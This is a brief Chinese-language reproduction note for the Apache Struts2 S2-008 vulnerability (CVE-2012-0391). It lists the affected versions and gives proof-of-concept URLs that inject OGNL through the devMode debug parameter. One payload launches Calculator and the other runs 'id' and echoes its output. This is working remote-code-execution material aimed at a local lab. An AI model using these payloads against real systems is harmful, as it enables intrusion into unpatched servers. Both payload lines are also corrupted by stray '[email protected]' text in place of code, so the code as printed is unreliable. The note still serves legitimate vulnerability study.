007-(CVE-2012-0391)s2-008.md
1.41 KB / 2021-07-17 00:01:26
# (CVE-2012-0391)s2-008
## 一、漏洞简介
主要是利用对传入参数没有严格限制,导致多个地方可以执行恶意代码
第一种情况其实就是S2-007,在异常处理时的OGNL执行
第二种的cookie的方式,虽然在struts2没有对恶意代码进行限制,但是java的webserver(Tomcat),对cookie的名称有较多限制,在传入struts2之前就被处理,从而较为鸡肋
第四种需要开启devModedebug模式
## 二、漏洞影响
2.1.0 - 2.3.1
## 三、复现过程
复现采用的是第四种devMode的debug模式,造成的任意代码执行
### POC
第一个vulhub给的poc 不好使呀 java.lang.UNIXProcess@493c1254
```bash
http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)
```
有回显
```bash
/S2-008/devmode.action?debug=command&expression=%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29
```